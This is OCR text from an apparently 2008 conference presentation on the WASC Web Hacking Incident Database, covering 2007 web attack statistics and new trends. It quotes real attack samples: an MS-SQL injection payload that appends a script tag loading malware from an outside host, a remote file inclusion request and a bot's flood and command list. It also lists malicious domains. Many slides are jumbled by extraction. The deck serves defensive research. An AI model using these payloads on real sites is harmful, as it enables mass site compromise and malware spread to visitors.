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About Myself http://www.webappsec.org/projects/whid
Ofer Shezaf, VP Product Management, Breach Security

B Great title, but don't let the title
confuse you: I am an application
security guy.

» Background in national information
security.

B Open Source and Community projects:

» Officer, Web Application Security
Consortium.

» President, OWASP Israeli chapter.

» Project Leader, ModSecurity Core Rule Set
Project.

» Project Leader, WASC Web Hacking
Incident Database.

B Based out of Tel-Aviv, Israel.
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Breach Security
Technology Leaders

m We make WAFs:
» ModSecurity, Open Source Apache
» WebDefend, Commercial Security /
B Headquarters in Carlsbad, CA,

with R&D Center in Herzliya, Israel
and London, UK.

B Sole focus is web application
. . PREVENTING
security since 1999. WEB ATTACKS

m Best application security DNA in HOEE, S
the industry. We wrote the books.

» Great fun to have Ivan Ristic and
Ryan Barnett on your team!

REAN C. Brisint
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Agenda

m The Challenge of Risk Analysis for Web
Application Security

B The Web Hacking Incidents Database (WHID)

B The state of web hacking in 2007 based on
WHID statistics.

m New trends for 2008.
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The Challenge of Risk Analysis
for Web Application Security
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The Web Application Security Risk

m Applications are vulnerable: S

» Unique, each one exposing its own
vulnerabilities.

» Change frequently, requiring constant
tuning of application security.

» Complex and feature rich with the advent
of AJAX, Web Services and Web 2.0.

m Applications are threatened:

» New business models drive “for profit”
hacking.

» Performed by professionals enabling
complex attacks.

m Potential iImpact may be severe:

» Web applications are used for sensitive
information and important transactions.

» Attack may be targeted as clients.

B REAC H A Web Application
, \5 Security Consortium




http://www.webappsec.org/projects/whid

The Web Application Security Risk

m Applications are vulnerable: S

» Unique, each one exposing its own
_vulnerahilities

Rigk= [
’ T%ﬂ {E % fivent

» An - Wulnerabilicy

hd

4 it
} X
!
. Po IAP&CE
> [cati Fe U F ltive ' :
information and important transactions. OCEAN'’S ELEVEN

» Attack may be targeted as clients.
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Threat is Difficult to Assess

B Web Attacks are Stealth:

» Victims hide breaches.
» Incidents are not detected.

B Statistics are Skewed:

» Defacement (visible) and
information leakage (regulated)
are publicized more than other
breaches.

» Number of incident reported is
statistically insignificant.
m Most assessments are biased:

» Believe neither vendors’ FUD
nor developers’ self assurance.
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Available Sources
Vulnerabilities

m Databases:
» Software : OSVDB, Bugtraq

» Web sites: XSSed

m Statistics:
» WASC Statistics Project,
» OWASP top 10

m Skewed towards vulnerabilities that are easy to find, but are

not necessarily actively exploited or results in a significant

outcome.

» Good predictor of level of vulnerability.
» Not adequate to predict threat or outcome.
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Available Sources
Attacks —

(Control Your System)
m Zone-H:

» The most comprehensive attack
repository, very important for public
awareness.

» Reported by hackers and focus on
defacements.

» Lacks for profit attacks.
» The “man bites a dog” syndrome.

m WASC Distributed Open Proxy
Honeypots Project

» Monitor attack traffic disquised behind
proxies.

» Show promise but still limited in scope.

m Data loss databases (attrition.org)

» Includes any data loss incident:
= Including lost notebook, electronic or paper
versions.
» Address a larger problem than Web
Application Security or even IT security. streamers24@hotmail.com

We aRe: SynapsisX ~ Cvlr.System ~ Cran0Ox! ~

GreeTz: MrNeTi ~ Celz ~ Screamo
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Available Sources

XSS is up, but
The OWASP Top 10 2007 Srobably
overrated
m Based on the
CVE Al XSS Include SQL
Vulnera b|||ty A2 Injection Flaws Injection.
A3 Malicious File Execution Combining many
data base- . . attacks to A2
. A4 Insecure Direct Object Referen allowed so many
- Mlnor expert A5 CSRF new entries
adJUStmentS A6 Information Leakage\ ad &
CSRF for Improper Error Handlirs o
( A7 Broken Authentication ar The new kid in
example)- Session Management town. Overhyped
B IS |t related A8 Insecure Cryptographic Stor: but may Ibecome d
o commonly
tO real WOrld A9 Insecure Communications exploited
9 A10 Failure to Restrict URL Acce vulnerability in the
attacks: sl
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The Web Hacking Incidents
Database

——
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The Web Hacking Incident Database

A Web Application Security Consortium (WASC)
Project dedicated to recording web application
security related incidents.

LG Web Application Security Consortium
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Database Content

m Incidents since 1999
B EaCh incident iS CIaSSiﬁed: WHID 2008-08: Hacker steals Davidson Cos. clients’

data

Reported: 04 February 200
> AttaCk type Elczurred: (eE] Fe.';ru'srg.: 200
» Outcome
» Country of organization attacked
4

Industry segment of organization
attacked

Classifications:

Attack Method: Unknown
Country: USA

Outcome: Leakage of Information
Vertical: Finance

P A computer hacker broke into the database of D.A. Davidson, a local
} Country Of Orlgln Of the attaCk Montana financial services firm and stole their entire customers' database:
3 Vulnerable Software 226,000 records including names and social security numbers. Attack
. . . method is not known, but it seems very much like a web hack.
m Multiple values for a classification ..........
» Hacker steals Davidson Cos. clients' data
allowed ' Mews Story, Great Falls Tribune, 04 February 2008
i i i . m Davidson Companies Informs Clients of Network Intrusion
. Addltlonal Informatlon - Resulting in Illegal Access to Personal Data
3 A unlque |dent|fler- WHID year_|d Victim's report, Davidson Companies, 30 January 2008
' ) m Davidson Co.'s security breach reminds that personal data
» Dates of occurrence and reporting isn't as safe as we'd like

Mews Follow Up, Great Falls Tribune, 11 February 2008

» Description
» Internet references

m RSS feed
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Inclusion Criteria

B The database includes only:
» Publicly disclosed incidents.

» Only web application related incidents:

= Many times it is hard to know how the network was hacked. We try to
read between the lines.

= Federal Trade Commission (FTC) Reports are sometimes helpful, but
are often published after years.

» Incidents of interest:
= We do not include most mass defacement incidents.
= Defacements of “High Profile” sites are included.

m Criteria:
» Ensure the quality and correctness of the reported incidents.
» Severely limit the number of incidents that gets in.
» Are somewhat subjective.
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The Future?

. A List of Sites Being Injected in SQL
- W H I D h a S Its Own ;i?c:dc;;i?mi::;ﬁlzider Computer Security, Hacking, Malware, Tips,
Virus
problems:

The Shadowserver.org dees great work and informs the security community on the
} FOC u S O n darker side of the Internet. In their most recent posting, they have listed the sites that
are serving up the malicious content. Here is the list of sites and the number of sites

d efa Ce m e n ts a n d injected with each of these malicious domains. Please be advised....DO NOT VISIT ANY

OF THESE SITES.
I ea ka g e www.nihaorri.com 468,000

free.hostpinoy.info 444,000

» Focus on English i
Spea king inCidentS www.nmidahena.com g

winzipices.cn 75,000

sb.5252.ws 69,000

. The neW SQL www.aspder.com 62,000
. . . WWW.11910.net 47,000
InJeCtlon bots ma kes bbs.jueduizuan.com 44,000
www.bluell.cn 44,000

the numbers huge: WWW.2117066.net 39,000
5.58E0.US 30,000

1 xvgacke.cn 33,000

» Skew media focus
WWW.414151.00m 17,000

e ——
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2007 Web Hacking Statistics

——
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2007 Summary:

Attack Methods

Statistics out of the
Web Hacking Incidents
Database annual report
2007.

We can see that:
m CSRF is hyped.
| XSS is overrated.

m Misconfiguration (A10
in 2005) is a huge
problem.

B Encryption is not a
real issue.

http://www.webappsec.org/projects/whid

Credential
or Session
Prediction,

8%

Old A10

Unintentional

Insufficient Information
Access Disclosure,
Control, 10% 17%
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2007 Summary:
Business Motivations For Hacking

m Evenly divided
between capitalists
and ideologists.

m Picture is skewed
since externally
visible incidents
force disclosure.

— A €50
: Web Application
BREACH Ls Security Consortium
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Blackmail

Deceit

Unknown

Link Spam

Other
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Most Hacked Organizations

Technology, 5%

Internet, 8% Sports, 3%

Service Health, 3%

T
. I Think They Are Bluffing
inance, 5%

Security & Law
Enforcement,

Providers,
8%

The next
big thing

Government,
29%

Government
Departments,

16%

Like government

Education,
plus a need for

openness

B R EA&E' d Web Application
(securiTyf A ~z Secrn ity Consortium

8%

Government is an
ideological target,
has weak IT, and a
requirement to
disclose
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New Trends for 2008
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Economy of scale

m Finally large scale business models taking advantage
of web app vulnerabilities:

» Attacked web site is used as an intermediator and not as a
target themselves.

» Site value for hackers is its loyal visitors and not
information in or features of the site.

» Many smaller sites are hacked.

B This does not mean that the targeted attacks have
stopﬁed but the visibility of the mass attacks is
much higher.

m Specific examples:

» SQL injection crawlers
» Web sites bots herding
» Abusing of service providers

e —
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SQL Injection Crawlers

DECLARE @T varchar(255),@?$gg%f Select all
DECLARE Table_Cursor CURSO i
select a.name,b.name columns in
from sysobjects a,syscolumns b _all tables
where a.id=b.id
and a.xtype='"u’
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table Cursor INTO @T,@C

Iterate
over them

WHILE(@@FETCH_STATUS=0)
BEGIN

exec("
update [+@T+'] [ >
set ['+@C+']=rtrim(convert(varchar,[+@C+')) Apl?end
+"<script src=http://www.qgigigm.com/m.js></script>"") script tag
FETCH NEXT FROM Table_Cursor INTO @T,@C pointing to

END
CLOSE Table Cursor
DEALLOCATE Table Cursor

malware

BREACH (g Web Application

Security Consortium
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SQL Injection Crawlers

DECLARE @T varchar(255),@C varchar(255) m Specific to MS-SQL tables
DECLARE Table_Cursor CURSOR FOR structure but could be
select a.name,b.name adapted to other DBs.
from syspbjec'ts a,syscolumns b B Default MS-SQL Security is
where a.id=b.id somewhat at blame.
and a.xtype='u ) T
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or H S_CI‘I t_brutaIIy mpdlf_les ALL
b.xtype=167) fields in the application:
OPEN Table_Cursor FETCH NEXT » Assumes some will be
FROM Table_Cursor INTO @T,@C displayed back to the user.

» Hopes that the application

WHILE(@ @FETCH_STATUS=0) would not be damaged

BEX(Z'C'\([ beyond use.
update [+@T+] m Easy to detect and avoid in
set ['+@C+']=rtrim(convert(varchar,[+@C+1)) the 1st Iace, yet so many
+"<script src=http://www.qigigm.com/m.js></script>"") sites where hacked!
FETCH NEXT FROM Table_Cursor INTO @T,@C N Simple signatures
END

CLOSE Table_Cursor » Database security

DEALLOCATE Table Cursor

e —

- REAC H ‘g Web Application OWASP 0 24

Security Consortium




T
http://www.webappsec.org/projects/whid

Many variants emerging

m Attacks against different environments such
(but still all share MS-SQL databases):

m We have seen Cold Fusion, PHP and JSP:

/personnel/employment.cfm?';DECLARE @S CHAR(4000)....

m Payload getting more elaborate:
B Prevent repeated infection:

where '+@C+' not like "%"> </title><script
src="http://sdo.1000mg.cn/csrss/w.js">

e —
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Web Site Bots Herding

User-Agent: libwww-perl/5.805

GET /XXXXXXXX.php?ADODB DIR=http://www.filmbox.ru/d.pl? HTTP/1.1
TE: deflate,gzip;g=0.3
Connection: TE, close
Host: XXXXXXXXXXX

asily Not sure how what

detectable | they tried to exploit.

case
case
case
case
case
case
case
case

case
case
case
case
case

"download":
"die":
"udpflood":
"udpflood1"; — | Attack Method
"tcpflood™:
case"

switch(substr($mcmd[0],1)) { I did not see a
case"

restart": successful attac

"mail": //mail to from subject message
"dns":

"Info":

"cmd":

"rndnick"; Control Methods
"php™:

"exec": break;

"pscan”: // .pscan 127.0.0.1 6667
case"

ud.server": // .udserver <server> <port>

_

massmail"; _

K.

S

e ——
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Hacking Service Providers

m Mass exploitation of known or zero " hatp: e metasploit coo/ = Findows Tnternst Expls
day VU|nerabI|ItIES: g-j\ v Ié http://www. metasploit. com/
» Infrastructure software (cPanel, TP REE BEW BRER IBE@ B
Apache, PHP) | g ol mEAmEeEed.. | @ny
» Packages installed in each account
(BlogS, CM S) hacked by sunwear ! just for fun ! ring04h come on :
B Abuse of legitimate features:
» Stolen credentials or accounts o
purchased using a stolen credit card. |z
» File uploads, Web based shells, FTP. 228
m Lack of sufficient separation between (@ -
sites:

Update from HD at Metasploit: The issue was that someone hacked a

» Privilege escalation on one site results
in breaching all sites.

machine on the same subnet and was ARP spoofing the gateway. The

metasploit.com machines were not compromised, but all HTTP requests

} ARP attacks on SerV|Ce pr0V|ders F:oming into the ISP network were passed throu.gh a MITM defacer that
network (SUCh as the metaSpO“t attack inserted that HTML. Once [ as able to set a static ,DTRP entry and notify
on the I‘Ight) the 15P, the problem was resolved. So, to make things clear, the

metasploit.com servers were not hacked, the ISP's network was.

m Used for spam, Fhlshmg, malware |
planting & installing bots

Web Applicati
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QUESTIONS
ANSWERS

Ofer Shezaf, ofer@shezaf.com

Further information at the WHID web site:
http://www.webappsec.org/projects/whid

'A_

BREACH (g Weh Applicetion OWASP 0

ecurity Consortium



mailto:ofers@breach.com

